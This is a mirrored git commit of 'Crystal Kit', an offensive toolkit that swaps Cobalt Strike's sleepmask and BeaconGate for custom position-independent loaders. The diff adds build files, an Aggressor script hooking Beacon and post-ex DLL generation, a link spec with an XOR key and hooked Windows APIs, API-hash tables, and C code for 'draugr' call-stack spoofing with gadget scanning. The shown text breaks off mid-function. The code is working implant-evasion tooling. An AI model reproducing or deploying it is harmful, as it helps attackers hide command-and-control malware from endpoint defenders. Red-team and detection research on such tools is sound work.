mirror of
https://github.com/nickswink/Crystal-Kit-Xenon
synced 2026-06-21 14:02:19 +00:00
push
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
all:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
|
||||
debug:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
|
||||
clean:
|
||||
cd udrl && make $@
|
||||
cd postex-udrl && make $@
|
||||
@@ -1,2 +1,33 @@
|
||||
# Crystal Kit
|
||||
|
||||
This repo is a technical and social experiment to see if replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with Crystal Palace PIC(O)s is feasible (or even desirable) for advanced evasion scenarios. Also see the accompanying [blog post](https://rastamouse.me/crystal-kit/).
|
||||
|
||||
## Usage
|
||||
|
||||
1. Disable the Sleepmask and stage obfuscations in Malleable C2.
|
||||
|
||||
```text
|
||||
stage {
|
||||
set rdll_loader "PrependLoader";
|
||||
set sleep_mask "false";
|
||||
set cleanup "true";
|
||||
transform-obfuscate { }
|
||||
}
|
||||
|
||||
post-ex {
|
||||
set cleanup "true";
|
||||
}
|
||||
```
|
||||
|
||||
2. Copy `crystalpalace.jar` to your Cobalt Strike client directory.
|
||||
3. Load `crystalkit.cna`.
|
||||
|
||||
## TODO
|
||||
|
||||
There are lots of improvements that can be made to this codebase. Some that come to mind include:
|
||||
|
||||
- [ ] Add BUD-style structures to track memory allocations.
|
||||
- [ ] Don't use RWX memory for Beacon.
|
||||
- [ ] Add GMA & GPA patching to the postex loader (`smartinject` is not yet supported in `stage` for prepended loaders).
|
||||
- [ ] Add AMSI & ETW bypasses to the postex loader.
|
||||
- [ ] Add memory freeing code on ExitThread.
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
import crystalpalace.spec.* from: crystalpalace.jar;
|
||||
import java.util.HashMap;
|
||||
|
||||
sub print_info {
|
||||
println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Kit]\o " . $1);
|
||||
}
|
||||
|
||||
set BEACON_RDLL_GENERATE {
|
||||
local('$beacon $arch $file_path $spec $final');
|
||||
|
||||
$beacon = $2;
|
||||
$arch = $3;
|
||||
|
||||
if ($arch eq "x86") {
|
||||
warn("Crystal Kit is x64 only");
|
||||
return $null;
|
||||
}
|
||||
|
||||
# get path to spec file
|
||||
$file_path = getFileProper(script_resource("udrl"), "loader.spec");
|
||||
|
||||
# parse the spec
|
||||
print_info("Parsing $+ $file_path $+ ...");
|
||||
$spec = [LinkSpec Parse: $file_path];
|
||||
|
||||
# apply the spec
|
||||
print_info("Applying spec...");
|
||||
$final = [$spec run: $beacon, [new HashMap]];
|
||||
|
||||
if (strlen($final) == 0) {
|
||||
warn("Failed to build payload");
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info("Payload Size: " . strlen($final) . " bytes");
|
||||
|
||||
return $final;
|
||||
}
|
||||
|
||||
set BEACON_RDLL_SIZE {
|
||||
return "0";
|
||||
}
|
||||
|
||||
set POSTEX_RDLL_GENERATE {
|
||||
local('$postex $arch $file_path $spec $final');
|
||||
|
||||
$postex = $2;
|
||||
$arch = $3;
|
||||
|
||||
# get path to spec file
|
||||
$file_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
|
||||
|
||||
# parse the spec
|
||||
print_info("Parsing $+ $file_path $+ ...");
|
||||
$spec = [LinkSpec Parse: $file_path];
|
||||
|
||||
# apply the spec
|
||||
print_info("Applying spec...");
|
||||
$final = [$spec run: $postex, [new HashMap]];
|
||||
|
||||
if (strlen($final) == 0) {
|
||||
warn("Failed to build package");
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info("Final Size: " . strlen($final) . " bytes");
|
||||
|
||||
return $final;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
debug: bin/debug.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
bin/debug.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -0,0 +1,27 @@
|
||||
name "Crystal Kit"
|
||||
describe ""
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic
|
||||
|
||||
load "bin/proxy.x64.o"
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "my_proxy"
|
||||
|
||||
generate $HKEY 128
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object
|
||||
patch "xorkey" $HKEY
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
|
||||
export
|
||||
link "my_hooks"
|
||||
|
||||
push $DLL
|
||||
link "my_data"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Save you some headache doing a PIC printf for debugging
|
||||
*/
|
||||
#ifndef WIN32_FUNC
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
#endif
|
||||
|
||||
#define PIC_STRING(name, str) char name[] = { str }
|
||||
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
|
||||
|
||||
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(OutputDebugStringA);
|
||||
vsnprintf_t vsnprintf;
|
||||
} DPRINTFFUNCS;
|
||||
|
||||
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
|
||||
int len;
|
||||
char * temp;
|
||||
|
||||
/* figure out the length of our buffer */
|
||||
len = funcs->vsnprintf(NULL, 0, format, *args);
|
||||
|
||||
/* allocate our memory */
|
||||
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
//__stosb((unsigned char *)temp, 0, len + 1);
|
||||
|
||||
/* format everything */
|
||||
funcs->vsnprintf(temp, len + 1, format, *args);
|
||||
|
||||
/* printf it */
|
||||
funcs->OutputDebugStringA(temp);
|
||||
|
||||
/* free our memory and move on with our lives */
|
||||
funcs->VirtualFree(temp, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
|
||||
va_list args;
|
||||
HMODULE mod;
|
||||
|
||||
DPRINTFFUNCS funcs;
|
||||
|
||||
PIC_STRING(kern32, "KERNEL32");
|
||||
PIC_STRING(vastr, "VirtualAlloc");
|
||||
PIC_STRING(vfstr, "VirtualFree");
|
||||
PIC_STRING(odstr, "OutputDebugStringA");
|
||||
PIC_STRING(msvcrt, "MSVCRT");
|
||||
PIC_STRING(pfstr, "vsnprintf");
|
||||
|
||||
mod = ifuncs->LoadLibraryA(kern32);
|
||||
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
|
||||
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
|
||||
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
|
||||
|
||||
mod = ifuncs->LoadLibraryA(msvcrt);
|
||||
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
|
||||
|
||||
va_start(args, format);
|
||||
__dprintf(&funcs, format, &args);
|
||||
va_end(args);
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
@@ -0,0 +1,61 @@
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
|
||||
#define GETMODULEHANDLEA_HASH 0xD3324904
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALALLOCEX_HASH 0x6E1A959C
|
||||
#define VIRTUALPROTECT_HASH 0x7946C61B
|
||||
#define VIRTUALPROTECTEX_HASH 0x53D98756
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
|
||||
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
|
||||
#define INTERNETOPENA_HASH 0x57E84429
|
||||
#define INTERNETCONNECTA_HASH 0x1E4BE80E
|
||||
#define RESUMETHREAD_HASH 0x9E4A3F88
|
||||
#define CREATETHREAD_HASH 0xCA2BD06B
|
||||
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
|
||||
#define OPENPROCESS_HASH 0xEFE297C0
|
||||
#define OPENTHREAD_HASH 0x58C91E6F
|
||||
#define CLOSEHANDLE_HASH 0xFFD97FB
|
||||
#define CREATEFILEMAPPINGA_HASH 0x56C61229
|
||||
#define MAPVIEWOFFILE_HASH 0x7B073C59
|
||||
#define UNMAPVIEWOFFILE_HASH 0xB2089259
|
||||
#define VIRTUALQUERY_HASH 0xA3C8C8AA
|
||||
#define DUPLICATEHANDLE_HASH 0xBD566724
|
||||
#define READPROCESSMEMORY_HASH 0x579D1BE9
|
||||
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
|
||||
#define EXITTHREAD_HASH 0x60E0CEEF
|
||||
#define CREATEPROCESSA_HASH 0x16B3FE72
|
||||
#define SLEEP_HASH 0xDB2D49B0
|
||||
|
||||
#define TPALLOCWORK_HASH 0x7449D9F8
|
||||
#define TPPOSTWORK_HASH 0xA3560665
|
||||
#define TPRELEASEWORK_HASH 0x1FFDA65A
|
||||
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#ifndef __MINGW32__
|
||||
#pragma intrinsic( _rotr )
|
||||
#endif
|
||||
|
||||
__forceinline DWORD ror( DWORD d ) {
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
@@ -0,0 +1,988 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "draugr.h"
|
||||
#include "proxy.h"
|
||||
#include "hash.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
typedef ULONG NTAPI (*RTLRANDOMEX)(PULONG);
|
||||
|
||||
/* the proxy pic */
|
||||
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
|
||||
/* store resolved functions */
|
||||
void * g_ExitThread;
|
||||
|
||||
/* patched in from loader.spec */
|
||||
char xorkey[128] = { 1 };
|
||||
|
||||
void applyxor(char * data, DWORD len) {
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
/* some globals */
|
||||
char * g_dllBase;
|
||||
DWORD g_dllSize;
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void init_frame_info()
|
||||
{
|
||||
PVOID pModuleFrame1 = GetModuleHandleA("kernel32.dll");
|
||||
PVOID pModuleFrame2 = GetModuleHandleA("ntdll.dll");
|
||||
|
||||
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
|
||||
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
|
||||
g_stackFrame.Frame1.Offset = 0x17;
|
||||
|
||||
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
|
||||
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
|
||||
g_stackFrame.Frame2.Offset = 0x2c;
|
||||
|
||||
g_stackFrame.pGadget = GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL get_text_section_size(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
|
||||
|
||||
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
|
||||
|
||||
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
|
||||
|
||||
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
if (_strncmp((char*)pImgSectionHeader[i].Name, (char*)".text", IMAGE_SIZEOF_SHORT_NAME) == 0)
|
||||
{
|
||||
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
|
||||
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
|
||||
{
|
||||
PUNWIND_INFO pUnwindInfo = NULL;
|
||||
ULONG unwindOperation = 0;
|
||||
ULONG operationInfo = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frameOffset = 0;
|
||||
|
||||
STACK_FRAME stackFrame;
|
||||
memset(&stackFrame, 0, sizeof(stackFrame));
|
||||
|
||||
if (!pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
|
||||
|
||||
while (index < pUnwindInfo->CountOfCodes)
|
||||
{
|
||||
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
|
||||
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwindOperation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stackFrame.TotalStackSize += 8;
|
||||
if (RBP_OP_INFO == operationInfo) {
|
||||
stackFrame.PushRbp = TRUE;
|
||||
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
|
||||
stackFrame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
|
||||
if (operationInfo == 0) {
|
||||
frameOffset *= 8;
|
||||
}
|
||||
else {
|
||||
index += 1;
|
||||
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
stackFrame.TotalStackSize += frameOffset;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SET_FPREG)
|
||||
{
|
||||
stackFrame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = pUnwindInfo->CountOfCodes;
|
||||
if (0 != (index & 1)) {
|
||||
index += 1;
|
||||
}
|
||||
|
||||
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
|
||||
return calculate_function_stack_size(pRuntimeFunction, imageBase);
|
||||
}
|
||||
|
||||
stackFrame.TotalStackSize += 8;
|
||||
return (PVOID)(stackFrame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper(PVOID returnAddress)
|
||||
{
|
||||
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
|
||||
DWORD64 ImageBase = 0;
|
||||
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
|
||||
|
||||
if (!returnAddress) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pRuntimeFunction = RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
|
||||
|
||||
if (NULL == pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size(pRuntimeFunction, ImageBase);
|
||||
}
|
||||
|
||||
PVOID find_gadget(PVOID pModuleAddr)
|
||||
{
|
||||
BOOL bFoundGadgets = FALSE;
|
||||
DWORD dwTextSectionSize = 0;
|
||||
DWORD dwTextSectionVa = 0;
|
||||
DWORD dwCounter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG randomNbr = 0;
|
||||
PVOID pModTextSection = NULL;
|
||||
|
||||
PVOID pGadgetList[15];
|
||||
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
|
||||
|
||||
RTLRANDOMEX rtlRandomEx = (RTLRANDOMEX)GetProcAddress(GetModuleHandleA("ntdll"), "RtlRandomEx");
|
||||
|
||||
if (!bFoundGadgets)
|
||||
{
|
||||
if (!get_text_section_size(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
|
||||
|
||||
for (int i = 0; i < (dwTextSectionSize - 2); i++)
|
||||
{
|
||||
// Searching for jmp rbx gadget
|
||||
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
|
||||
{
|
||||
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
|
||||
dwCounter++;
|
||||
|
||||
if (dwCounter == 15) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bFoundGadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
randomNbr = rtlRandomEx(&seed);
|
||||
randomNbr %= dwCounter;
|
||||
|
||||
return pGadgetList[randomNbr];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_spoof_call(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID returnAddress = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugrParameters;
|
||||
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
|
||||
|
||||
// configure BaseThreadInitThunk frame
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
|
||||
draugrParameters.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(returnAddress);
|
||||
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// configure RtlUserThreadStart frame.
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
|
||||
draugrParameters.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(returnAddress);
|
||||
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Ensure that the gadget stack size is bigger than 0x80, which is min
|
||||
* required to hold 10 arguments, otherwise it will crash sporadically.
|
||||
*/
|
||||
|
||||
do {
|
||||
draugrParameters.Trampoline = find_gadget(g_stackFrame.pGadget);
|
||||
draugrParameters.TrampolineStackSize = calculate_function_stack_size_wrapper(draugrParameters.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
// quick sanity check for infinite loop
|
||||
if (attempts > 15) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// make the call!
|
||||
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
|
||||
}
|
||||
|
||||
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (functionCall->argc == 0) {
|
||||
return draugr_spoof_call(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 1) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 2) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 3) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 4) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 5) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 6) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 7) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 8) {
|
||||
